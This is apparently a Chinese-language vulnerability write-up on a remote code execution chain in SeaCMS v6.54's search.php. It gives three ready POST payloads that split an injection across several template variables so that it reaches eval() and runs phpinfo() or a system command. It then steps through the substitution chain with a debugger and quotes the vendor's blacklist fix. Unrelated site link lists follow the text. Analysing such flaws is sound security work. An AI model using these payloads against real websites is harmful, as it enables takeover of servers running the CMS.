1.环境:

php5.5.38+apache+seacms v6.54

上一篇文章针对seacms v6.45 进行了分析,官方给出针对修复前台geishell提供的方法为增加:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

并且在v6.54中增加了对传入变量的长度限制,限制为20个字符之内,因此单一针对一个变量的绕过方法不满足长度要求,所以在该版本中才进行了多次替换绕过

每一次传进去的长度刚好20,思路挺不错的(当然小于此长度也可以)

但是在echoSearchPage()函数中声明的global变量并不是只有$order一个,可以利用其他的参数构造payload进入$content变量,从而导致代码执行,整个漏洞链构造流程环环相扣,最终聚焦在eval()函数上

2.poc1:

http://192.168.0.6/seacms654/search.php
POST:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

poc2:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan={searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=phpinfo();

poc3:

searchtype=5&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=y{searchpage:letter}&letter=st{searchpage:lang}&yuyan=em{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=whoami //命令执行

3.演示效果:

4.漏洞分析

因为最终利用的是parseif函数,并且要利用到global声明的变量,因此我选择在65行和214行下断点进行分析

执行payload,使用F8开始单步调试,我们关注以下7个变量的值:

从157行开始,利用从global声明的变量开始对$content中的内容进行替换

第1处替换:

首先使用$searchword变量的值进行了替换,可以看到替换以后与之前的对比

第2处替换:

将$year变量的值替换了进来

第3处替换:

将变量$area的值替换了进来,

第4处替换:

将变量$letter的值替换了进来

第5处替换:

将变量$yuyan的值替换了进来

第6处替换:

将$jq变量的值替换进来

第7处替换:

将$ver变量的值替换进来

触发远程代码执行,到此已经拼接成了完整的payload,此时$strIf的内容没有任何过滤就带入了eval函数执行!!!

eval(join($_POST[9]))

官方修复方法:

在parseIf函数中添加了黑名单,替换了一些敏感字符串

function parseIf($content){

        if (strpos($content,'{if:')=== false){

        return $content;

        }else{

        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");

        $labelRule2="{elseif";

        $labelRule3="{else}";

        preg_match_all($labelRule,$content,$iar);

foreach($iar as $v){

    $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

最新文章

  1. Spark 应用程序调优
  2. 使用Mulesoft建立webservice, jax-ws方式, wsdl first
  3. org.apache.catalina.session.StandardManager doLoad
  4. SAP屠夫---折旧在13-16调整期间的烦恼(转)
  5. 学习笔记day6:CSS3动画属性
  6. openmpi出现Segmentation Fault而终止运算
  7. 批量扫描互联网无线路由设备telnet,并获取WIFI密码
  8. HDOJ-ACM1010(JAVA) 奇偶剪枝法 迷宫搜索
  9. 6 关于 Oracle NULL栏位和PL./SQL执行实验
  10. AngularJS初体验
  11. linuxmint 15/ ubuntu 13.04 install OpenERP client 6.0.4
  12. Android OpenGL ES 开发(十): 通过GLES20与着色器交互
  13. Source Insight4
  14. 友金所招聘Java工程师面试题
  15. 关于org.apache.jasper.JasperException解决方法
  16. Apache ab并发负载压力测试(python+django+mysql+apache)
  17. vim代码格式化插件clang-format
  18. 2019-04-03-day025-异常与日志
  19. Spring BeanUtils简单使用
  20. Tensorflow入门----占位符、常量和Session

热门文章

  1. 深入理解hadoop之排序
  2. JavaScript函数尾调用与尾递归
  3. get获取后台数据
  4. JavaMaven【四、坐标&构件】
  5. /etc/ld.so.conf.d/目录下文件的作用
  6. python将list元素转为数字
  7. 4.java JMS技术
  8. 3.Https服务器的配置
  9. Keepalived + Haproxy + PXC 理论篇
  10. js遍历数组随机返回指定的数组结果